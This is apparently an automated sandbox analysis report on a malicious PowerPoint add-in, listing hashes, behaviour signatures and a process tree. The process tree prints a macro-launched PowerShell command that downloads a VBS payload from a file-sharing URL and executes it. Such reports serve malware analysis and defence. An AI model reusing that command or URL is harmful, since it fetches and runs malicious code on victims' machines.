Analysis

  • max time kernel
    120s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    11-01-2024 03:27

General

  • Target

    bfc577b39beb5360dcc147f0fdb15921edeaf7e1df44b6992f57f213b5efecdc.ppam

  • Size

    11KB

  • MD5

    b41de65c12f3ebc33982e3f4f7d6a869

  • SHA1

    f51d21035ec5527e814aaddd394944afbac5a18a

  • SHA256

    bfc577b39beb5360dcc147f0fdb15921edeaf7e1df44b6992f57f213b5efecdc

  • SHA512

    f8fd4932d71eff05f96beca1e2c2e4c2ef03a5f62afbccce07cc0d3b2e493c8980880ad6b4046f0c8c67f542e0f4b9ab5ee1fd72163d86663b1b1dba6853ed8d

  • SSDEEP

    192:xrXP/x/jgjHdiswBnPKkaUgH4V0zpULuU4Z1m4z5w9kalVaI5dOVq0:dXPt8j96djazzUUZ1YZVaIPOB

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 35 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\bfc577b39beb5360dcc147f0fdb15921edeaf7e1df44b6992f57f213b5efecdc.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2252
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/dQy9FSlk/R3PwqwiF.ea50be6c26b9e2c68eb6b7263b770d62 -o test.vbs; explorer.exe test.vbs
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1372
        • C:\Windows\SysWOW64\explorer.exe
          "C:\Windows\system32\explorer.exe" test.vbs
          3⤵
            PID:2636
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        PID:2304

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1292-0-0x000000002D2E1000-0x000000002D2E2000-memory.dmp
        Filesize

        4KB

      • memory/1292-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1292-2-0x0000000071DFD000-0x0000000071E08000-memory.dmp
        Filesize

        44KB

      • memory/1292-8-0x00000000052F0000-0x00000000053F0000-memory.dmp
        Filesize

        1024KB

      • memory/1292-21-0x0000000071DFD000-0x0000000071E08000-memory.dmp
        Filesize

        44KB

      • memory/1292-20-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1372-15-0x0000000002680000-0x00000000026C0000-memory.dmp
        Filesize

        256KB

      • memory/1372-16-0x0000000002680000-0x00000000026C0000-memory.dmp
        Filesize

        256KB

      • memory/1372-17-0x000000006B090000-0x000000006B63B000-memory.dmp
        Filesize

        5.7MB

      • memory/1372-14-0x000000006B090000-0x000000006B63B000-memory.dmp
        Filesize

        5.7MB

      • memory/1372-13-0x000000006B090000-0x000000006B63B000-memory.dmp
        Filesize

        5.7MB

      • memory/2304-19-0x00000000039B0000-0x00000000039B1000-memory.dmp
        Filesize

        4KB

      • memory/2304-18-0x00000000039C0000-0x00000000039D0000-memory.dmp
        Filesize

        64KB

      • memory/2304-22-0x00000000039B0000-0x00000000039B1000-memory.dmp
        Filesize

        4KB